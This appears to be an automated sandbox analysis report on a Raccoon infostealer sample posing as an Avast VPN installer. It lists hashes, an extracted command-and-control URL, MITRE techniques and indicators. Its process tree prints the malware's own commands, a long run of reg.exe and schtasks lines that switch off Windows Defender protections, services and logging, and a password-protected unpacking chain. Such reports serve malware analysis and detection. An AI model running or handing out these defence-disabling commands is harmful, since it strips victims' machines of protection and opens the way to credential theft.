raccoon | 5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e

Analysis

max time kernel
132s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
09-03-2022 02:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe
Size

13.9MB
MD5

6da60459b3c36ef50295b51e4964f764
SHA1

648acc1d53cc5b31515b7d6852e5801b9777e0f9
SHA256

5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e
SHA512

e55a118239682cab07584542244700f6cce7376040d76806ad426cda5decb676810e43870302c24597dd4c0f0df148e880b7c45c24bb5e5887541de91a12050c

Score

10^/10

raccoon 5eaa41b3101d5537f786a35da1878f0d1d760e53 c763e433ef51ff4b6c545800e4ba3b3b1a2ea077 bootkit evasion persistence stealer themida trojan

Malware Config

Extracted

Family

raccoon

Version

1.7.1-hotfix

Botnet

5eaa41b3101d5537f786a35da1878f0d1d760e53

Attributes

url4cnc
https://telete.in/jbitchsucks

rc4.plain

Extracted

Family

raccoon

rc4.plain

Extracted

Family

raccoon

Botnet

c763e433ef51ff4b6c545800e4ba3b3b1a2ea077

Attributes

url4cnc
https://telete.in/jbitchsucks

rc4.plain

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon

Raccoon Stealer Payload 9 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1408-242-0x0000000000400000-0x0000000000493000-memory.dmp	family_raccoon
behavioral2/memory/1408-243-0x0000000000400000-0x0000000000493000-memory.dmp	family_raccoon
behavioral2/memory/1408-244-0x0000000000400000-0x0000000000493000-memory.dmp	family_raccoon
behavioral2/memory/2128-246-0x00000000053C0000-0x0000000005964000-memory.dmp	family_raccoon
behavioral2/memory/796-250-0x0000000000410000-0x00000000004A3000-memory.dmp	family_raccoon
behavioral2/memory/796-249-0x000000000047C000-0x0000000000498000-memory.dmp	family_raccoon
behavioral2/memory/2128-252-0x0000000074EC0000-0x0000000074FB0000-memory.dmp	family_raccoon
behavioral2/memory/796-253-0x000000000047C000-0x0000000000498000-memory.dmp	family_raccoon
behavioral2/memory/796-255-0x0000000000410000-0x00000000004A3000-memory.dmp	family_raccoon

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Executes dropped EXE 31 IoCs

Processes:

5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmpavastvpn.exeavastvpn.tmpavast_secureline_setup.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exereg.exe7z.exereg.exeicarus.exe7z.exerchost.exe7z.exeicarus_ui.exeicarus.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exeSgrmClientApi.exerchost.exeSgrmClientApi.exe

pid	process
2276	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
4100	avastvpn.exe
2500	avastvpn.tmp
4800	avast_secureline_setup.exe
4436	7z.exe
4636	7z.exe
1988	7z.exe
4548	7z.exe
3808	7z.exe
4892	7z.exe
3564	7z.exe
4584	reg.exe
708	7z.exe
2232	reg.exe
4620	icarus.exe
2288	7z.exe
2504	rchost.exe
4948	7z.exe
2836	icarus_ui.exe
1752	icarus.exe
1520	7z.exe
1816	7z.exe
1604	7z.exe
2168	7z.exe
1940	7z.exe
1764	7z.exe
2880	7z.exe
4268	7z.exe
2128	SgrmClientApi.exe
1408	rchost.exe
796	SgrmClientApi.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

rchost.exeSgrmClientApi.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	SgrmClientApi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	SgrmClientApi.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmpWScript.exeavastvpn.tmp7z.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	avastvpn.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	7z.exe

Loads dropped DLL 25 IoCs

Processes:

5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmpavastvpn.tmp7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exereg.exe7z.exereg.exe7z.exe7z.exeicarus.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exeSgrmClientApi.exe

pid	process
2276	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
2500	avastvpn.tmp
4436	7z.exe
4636	7z.exe
1988	7z.exe
4548	7z.exe
3808	7z.exe
4892	7z.exe
3564	7z.exe
4584	reg.exe
708	7z.exe
2232	reg.exe
2288	7z.exe
4948	7z.exe
1752	icarus.exe
1520	7z.exe
1816	7z.exe
1604	7z.exe
2168	7z.exe
1940	7z.exe
1764	7z.exe
2880	7z.exe
4268	7z.exe
2128	SgrmClientApi.exe
2128	SgrmClientApi.exe

Themida packer 5 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\ProgramData\37bFdy\extracted\rchost.exe	themida
C:\ProgramData\37bFdy\rchost.exe	themida
behavioral2/memory/2504-214-0x0000000000D40000-0x000000000127C000-memory.dmp	themida
behavioral2/memory/2128-235-0x0000000000650000-0x0000000000BFA000-memory.dmp	themida
behavioral2/memory/2128-237-0x0000000000650000-0x0000000000BFA000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

rchost.exeSgrmClientApi.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	rchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	SgrmClientApi.exe

Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1067

Processes:

avast_secureline_setup.exeicarus.exeicarus.exe

description	ioc	process
File opened for modification	\??\PhysicalDrive0	avast_secureline_setup.exe
File opened for modification	\??\PhysicalDrive0	icarus.exe
File opened for modification	\??\PhysicalDrive0	icarus.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

rchost.exeSgrmClientApi.exe

description	pid	process	target process
PID 2504 set thread context of 1408	2504	rchost.exe	rchost.exe
PID 2128 set thread context of 796	2128	SgrmClientApi.exe	SgrmClientApi.exe

Drops file in Program Files directory 4 IoCs

Processes:

5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmpavastvpn.tmp

description	ioc	process
File opened for modification	C:\Program Files (x86)\avastvpn.exe	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
File created	C:\Program Files (x86)\is-SK5HM.tmp	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
File opened for modification	C:\Program Files (x86)\avast_secureline_setup.exe	avastvpn.tmp
File created	C:\Program Files (x86)\is-MKR7V.tmp	avastvpn.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid pid_target process target process

636 1408 WerFault.exe rchost.exe
4864 796 WerFault.exe SgrmClientApi.exe

pid	pid_target	process	target process
636	1408	WerFault.exe	rchost.exe
4864	796	WerFault.exe	SgrmClientApi.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

icarus.exeicarus.exeicarus_ui.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	icarus.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	icarus.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	icarus.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	icarus.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	icarus_ui.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	icarus_ui.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	icarus.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

4408 timeout.exe
1924 timeout.exe

pid	process
4408	timeout.exe
1924	timeout.exe

Modifies registry class 2 IoCs

Processes:

5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmpavastvpn.tmp

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings	avastvpn.tmp

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmpavastvpn.tmpicarus_ui.exerchost.exeSgrmClientApi.exe

pid	process
2276	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
2276	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
2500	avastvpn.tmp
2500	avastvpn.tmp
2836	icarus_ui.exe
2836	icarus_ui.exe
2504	rchost.exe
2504	rchost.exe
2128	SgrmClientApi.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exereg.exe7z.exereg.exe7z.exeicarus.exe7z.exeicarus_ui.exeicarus.exe7z.exerchost.exe7z.exe7z.exe

description	pid	process
Token: SeRestorePrivilege	4436	7z.exe
Token: 35	4436	7z.exe
Token: SeSecurityPrivilege	4436	7z.exe
Token: SeSecurityPrivilege	4436	7z.exe
Token: SeRestorePrivilege	4636	7z.exe
Token: 35	4636	7z.exe
Token: SeSecurityPrivilege	4636	7z.exe
Token: SeSecurityPrivilege	4636	7z.exe
Token: SeRestorePrivilege	1988	7z.exe
Token: 35	1988	7z.exe
Token: SeSecurityPrivilege	1988	7z.exe
Token: SeSecurityPrivilege	1988	7z.exe
Token: SeRestorePrivilege	4548	7z.exe
Token: 35	4548	7z.exe
Token: SeSecurityPrivilege	4548	7z.exe
Token: SeRestorePrivilege	3808	7z.exe
Token: 35	3808	7z.exe
Token: SeSecurityPrivilege	3808	7z.exe
Token: SeSecurityPrivilege	3808	7z.exe
Token: SeSecurityPrivilege	4548	7z.exe
Token: SeRestorePrivilege	4892	7z.exe
Token: 35	4892	7z.exe
Token: SeSecurityPrivilege	4892	7z.exe
Token: SeSecurityPrivilege	4892	7z.exe
Token: SeRestorePrivilege	3564	7z.exe
Token: 35	3564	7z.exe
Token: SeSecurityPrivilege	3564	7z.exe
Token: SeSecurityPrivilege	3564	7z.exe
Token: SeRestorePrivilege	4584	reg.exe
Token: 35	4584	reg.exe
Token: SeSecurityPrivilege	4584	reg.exe
Token: SeSecurityPrivilege	4584	reg.exe
Token: SeRestorePrivilege	708	7z.exe
Token: 35	708	7z.exe
Token: SeSecurityPrivilege	708	7z.exe
Token: SeSecurityPrivilege	708	7z.exe
Token: SeRestorePrivilege	2232	reg.exe
Token: 35	2232	reg.exe
Token: SeSecurityPrivilege	2232	reg.exe
Token: SeSecurityPrivilege	2232	reg.exe
Token: SeRestorePrivilege	2288	7z.exe
Token: 35	2288	7z.exe
Token: SeDebugPrivilege	4620	icarus.exe
Token: SeSecurityPrivilege	2288	7z.exe
Token: SeSecurityPrivilege	2288	7z.exe
Token: SeRestorePrivilege	4948	7z.exe
Token: 35	4948	7z.exe
Token: SeSecurityPrivilege	4948	7z.exe
Token: SeSecurityPrivilege	4948	7z.exe
Token: SeDebugPrivilege	2836	icarus_ui.exe
Token: SeDebugPrivilege	1752	icarus.exe
Token: SeRestorePrivilege	1520	7z.exe
Token: 35	1520	7z.exe
Token: SeSecurityPrivilege	1520	7z.exe
Token: SeSecurityPrivilege	1520	7z.exe
Token: SeDebugPrivilege	2504	rchost.exe
Token: SeRestorePrivilege	1816	7z.exe
Token: 35	1816	7z.exe
Token: SeSecurityPrivilege	1816	7z.exe
Token: SeSecurityPrivilege	1816	7z.exe
Token: SeRestorePrivilege	1604	7z.exe
Token: 35	1604	7z.exe
Token: SeSecurityPrivilege	1604	7z.exe
Token: SeSecurityPrivilege	1604	7z.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmpavastvpn.tmpicarus_ui.exe

pid process

2276 5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
2500 avastvpn.tmp
2836 icarus_ui.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

icarus_ui.exe

pid process

2836 icarus_ui.exe
2836 icarus_ui.exe
2836 icarus_ui.exe

pid	process
2836	icarus_ui.exe
2836	icarus_ui.exe
2836	icarus_ui.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmpavastvpn.exeWScript.execmd.exeavastvpn.tmpcmd.exe7z.execmd.execmd.exe

description	pid	process	target process
PID 1592 wrote to memory of 2276	1592	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
PID 1592 wrote to memory of 2276	1592	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
PID 1592 wrote to memory of 2276	1592	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
PID 2276 wrote to memory of 4920	2276	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp	WScript.exe
PID 2276 wrote to memory of 4920	2276	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp	WScript.exe
PID 2276 wrote to memory of 4920	2276	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp	WScript.exe
PID 2276 wrote to memory of 4100	2276	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp	avastvpn.exe
PID 2276 wrote to memory of 4100	2276	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp	avastvpn.exe
PID 2276 wrote to memory of 4100	2276	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp	avastvpn.exe
PID 4100 wrote to memory of 2500	4100	avastvpn.exe	avastvpn.tmp
PID 4100 wrote to memory of 2500	4100	avastvpn.exe	avastvpn.tmp
PID 4100 wrote to memory of 2500	4100	avastvpn.exe	avastvpn.tmp
PID 4920 wrote to memory of 4676	4920	WScript.exe	cmd.exe
PID 4920 wrote to memory of 4676	4920	WScript.exe	cmd.exe
PID 4920 wrote to memory of 4676	4920	WScript.exe	cmd.exe
PID 4920 wrote to memory of 1756	4920	WScript.exe	cmd.exe
PID 4920 wrote to memory of 1756	4920	WScript.exe	cmd.exe
PID 4920 wrote to memory of 1756	4920	WScript.exe	cmd.exe
PID 4920 wrote to memory of 816	4920	WScript.exe	cmd.exe
PID 4920 wrote to memory of 816	4920	WScript.exe	cmd.exe
PID 4920 wrote to memory of 816	4920	WScript.exe	cmd.exe
PID 816 wrote to memory of 4408	816	cmd.exe	timeout.exe
PID 816 wrote to memory of 4408	816	cmd.exe	timeout.exe
PID 816 wrote to memory of 4408	816	cmd.exe	timeout.exe
PID 2500 wrote to memory of 4800	2500	avastvpn.tmp	avast_secureline_setup.exe
PID 2500 wrote to memory of 4800	2500	avastvpn.tmp	avast_secureline_setup.exe
PID 2500 wrote to memory of 4800	2500	avastvpn.tmp	avast_secureline_setup.exe
PID 1756 wrote to memory of 1436	1756	cmd.exe	mode.com
PID 1756 wrote to memory of 1436	1756	cmd.exe	mode.com
PID 1756 wrote to memory of 1436	1756	cmd.exe	mode.com
PID 2500 wrote to memory of 2168	2500	avastvpn.tmp	WScript.exe
PID 2500 wrote to memory of 2168	2500	avastvpn.tmp	WScript.exe
PID 2500 wrote to memory of 2168	2500	avastvpn.tmp	WScript.exe
PID 2168 wrote to memory of 3984	2168	7z.exe	cmd.exe
PID 2168 wrote to memory of 3984	2168	7z.exe	cmd.exe
PID 2168 wrote to memory of 3984	2168	7z.exe	cmd.exe
PID 1756 wrote to memory of 4436	1756	cmd.exe	7z.exe
PID 1756 wrote to memory of 4436	1756	cmd.exe	7z.exe
PID 1756 wrote to memory of 4636	1756	cmd.exe	7z.exe
PID 1756 wrote to memory of 4636	1756	cmd.exe	7z.exe
PID 2168 wrote to memory of 1896	2168	7z.exe	cmd.exe
PID 2168 wrote to memory of 1896	2168	7z.exe	cmd.exe
PID 2168 wrote to memory of 1896	2168	7z.exe	cmd.exe
PID 1756 wrote to memory of 1988	1756	cmd.exe	7z.exe
PID 1756 wrote to memory of 1988	1756	cmd.exe	7z.exe
PID 2168 wrote to memory of 2456	2168	7z.exe	cmd.exe
PID 2168 wrote to memory of 2456	2168	7z.exe	cmd.exe
PID 2168 wrote to memory of 2456	2168	7z.exe	cmd.exe
PID 2456 wrote to memory of 1924	2456	cmd.exe	timeout.exe
PID 2456 wrote to memory of 1924	2456	cmd.exe	timeout.exe
PID 2456 wrote to memory of 1924	2456	cmd.exe	timeout.exe
PID 1896 wrote to memory of 1940	1896	cmd.exe	7z.exe
PID 1896 wrote to memory of 1940	1896	cmd.exe	7z.exe
PID 1896 wrote to memory of 1940	1896	cmd.exe	7z.exe
PID 1896 wrote to memory of 4548	1896	cmd.exe	7z.exe
PID 1896 wrote to memory of 4548	1896	cmd.exe	7z.exe
PID 1756 wrote to memory of 3808	1756	cmd.exe	7z.exe
PID 1756 wrote to memory of 3808	1756	cmd.exe	7z.exe
PID 1756 wrote to memory of 4892	1756	cmd.exe	7z.exe
PID 1756 wrote to memory of 4892	1756	cmd.exe	7z.exe
PID 1756 wrote to memory of 3564	1756	cmd.exe	7z.exe
PID 1756 wrote to memory of 3564	1756	cmd.exe	7z.exe
PID 1756 wrote to memory of 4584	1756	cmd.exe	reg.exe
PID 1756 wrote to memory of 4584	1756	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe
"C:\Users\Admin\AppData\Local\Temp\5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1592

C:\Users\Admin\AppData\Local\Temp\is-CJJK6.tmp\5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
"C:\Users\Admin\AppData\Local\Temp\is-CJJK6.tmp\5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp" /SL5="$2011A,13871183,778240,C:\Users\Admin\AppData\Local\Temp\5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2276

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\37bFdy\MMF.vbs"
3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4920

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\37bFdy\n0eexnwg.bat" "
4⤵
PID:4676

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
5⤵
PID:2396

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
5⤵
PID:4128

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
5⤵
PID:3944

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
5⤵
PID:3932

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
5⤵
PID:3284

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
5⤵
PID:4864

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
5⤵
PID:392

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
5⤵
PID:532

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
5⤵
PID:2412

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
5⤵
PID:528

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
5⤵
PID:2380

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
5⤵
PID:448

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
5⤵
PID:1592

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
5⤵
PID:3812

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
5⤵
PID:3540

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
5⤵
PID:8

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
5⤵
PID:1548

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
5⤵
PID:1916

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
5⤵
PID:2960

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
5⤵
PID:3768

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
5⤵
PID:1520

C:\Windows\SysWOW64\reg.exe
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
5⤵
PID:384

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
5⤵
PID:1468

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
5⤵
PID:4640

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
5⤵
PID:1876

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
5⤵
PID:4520

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
5⤵
PID:4556

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
5⤵
PID:1940

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
5⤵
PID:4104

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
5⤵
PID:740

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
5⤵
- Modifies security service
PID:4884

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
5⤵
PID:2264

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\37bFdy\main.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:1756

C:\Windows\SysWOW64\mode.com
mode 65,10
5⤵
PID:1436

C:\ProgramData\37bFdy\7z.exe
7z.exe e file.zip -p___________24064pwd24000pwd10377___________ -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:4436

C:\ProgramData\37bFdy\7z.exe
7z.exe e extracted/file_7.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:4636

C:\ProgramData\37bFdy\7z.exe
7z.exe e extracted/file_6.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1988

C:\ProgramData\37bFdy\7z.exe
7z.exe e extracted/file_5.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:3808

C:\ProgramData\37bFdy\7z.exe
7z.exe e extracted/file_4.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:4892

C:\ProgramData\37bFdy\7z.exe
7z.exe e extracted/file_3.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:3564

C:\ProgramData\37bFdy\7z.exe
7z.exe e extracted/file_2.zip -oextracted
5⤵
PID:4584

C:\ProgramData\37bFdy\7z.exe
7z.exe e extracted/file_1.zip -oextracted
5⤵
PID:2232

C:\ProgramData\37bFdy\rchost.exe
"rchost.exe"
5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2504

